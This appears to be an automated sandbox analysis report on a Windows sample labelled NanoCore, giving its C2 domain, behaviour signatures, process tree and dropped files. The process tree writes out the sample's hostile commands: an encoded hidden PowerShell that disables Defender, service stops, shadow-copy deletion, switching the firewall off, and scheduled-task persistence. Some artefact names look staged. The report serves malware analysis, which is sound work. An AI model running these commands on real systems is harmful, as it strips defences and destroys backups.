Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 22:00

General

  • Target
    vebotvvzb.com_chrome.exe
  • Size 57KB
  • Sample261024-1wy4msxtcx
  • SHA256 25d483c839a7f0eca665044c78272e0dd8852ac9aa36e1d4f54f4fe568962867
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://vebotvvzb.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://vebotvvzb.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1564
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3464
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5528
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:6056
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4244
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:480
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2116
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2380
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5880
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4596
      • C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe"
        3⤵
          PID:5132
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:4732
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:5604
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2664
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3888
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:1904
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4472
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4804
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:5484
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2724
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4124
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            PID:832
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3024
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:1316
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2868
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            PID:1604
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5704
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
              PID:4968
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4644
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2828
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:1868
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5004
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:1888
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1692
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:2096
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4376
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:1564
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:4960
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:1800
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious behavior: EnumeratesProcesses
                PID:916
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:4244
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2380
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:1896
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:3464
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:6116
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:1796
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3196
                • C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe
                  1⤵
                    PID:604
                  • C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe
                    C:\Users\Admin\AppData\Local\Temp\vebotvvzb.com_chrome.exe
                    1⤵
                      PID:4396
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k GPSvcGroup
                      1⤵
                        PID:1640

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

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                            Downloads

                            scr_20261024_230157.jpg

                            • Path C:\ProgramData\SysUpdate\Scr\scr_20261024_230157.jpg
                            • Size 122KB
                            • SHA256 b583731e82db38e2ffdaebbb53a8809270423d16ac5c67dba6ec123730a8e833
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_2.pdf

                            • Path C:\SystemVolumeInformation\doc_2.pdf
                            • Size 76KB
                            • SHA256 835b1bc92845d9d3df3c33d666e596ffabc65ef73549f06784bded26f4b40fbf
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            __PSScriptPolicyTest_ojkbxm4x.p0v.psm1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ojkbxm4x.p0v.psm1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 245B
                            • SHA256 f1466516e9eeb0b58034e5b31db35b2e15fbd015306beda14e77bfccc534d6f9
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 246B
                            • SHA256 5f4c4db2a9f872595aa95b41df6e5c6f337d144574179f793481ae9b47e11e97
                            • MD5 SHA1 SHA512 TLSH

                            temp_steal.log

                            • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                            • Size 163KB
                            • SHA256 dc0648bf6843ad9de7a45ab2e0088c50a8aa5f81d4c3d0536d35679e6cf4b7d6
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            stolen_data_here.txt

                            • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                            • Size 163KB
                            • SHA256 853273dcb4f459c60ade4bbb79614ed4ab807c5811102d824d717fcb51314572
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            invoice_1.pdf

                            • Path C:\Users\Admin\Documents\invoice_1.pdf
                            • Size 76KB
                            • SHA256 17197aee70b98df3f4a23a9193d649d288ac85e7dc1eacdbddf641d1142cc283
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            READ_ME_NANOCORE.txt

                            • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                            • Size 145B
                            • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                            • MD5 SHA1 SHA512 TLSH

                            RANSOM_NOTE.txt

                            • Path F:\RANSOM_NOTE.txt
                            • Size 177B
                            • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                            • MD5 SHA1 SHA512 TLSH

                            memory/1564-24-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-23-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-18-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-19-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-20-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-21-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-22-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-1683-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-25-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-12-0x000001842FD10000-0x000001842FD32000-memory.dmp

                            memory/1564-26-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-31-0x0000018448320000-0x00000184483D2000-memory.dmp

                            memory/1564-33-0x00000184483E0000-0x00000184483EA000-memory.dmp

                            memory/1564-16-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/1564-30-0x000001842FEF0000-0x000001842FF0E000-memory.dmp

                            memory/1564-17-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-15-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-2282-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-13-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-0-0x00007FFD123AF000-0x00007FFD123B0000-memory.dmp

                            memory/3520-6-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-5-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-4-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-1-0x0000000000630000-0x0000000000644000-memory.dmp

                            memory/3520-2280-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-2281-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-14-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-3-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-2-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/5484-2270-0x000001B822FF0000-0x000001B822FF1000-memory.dmp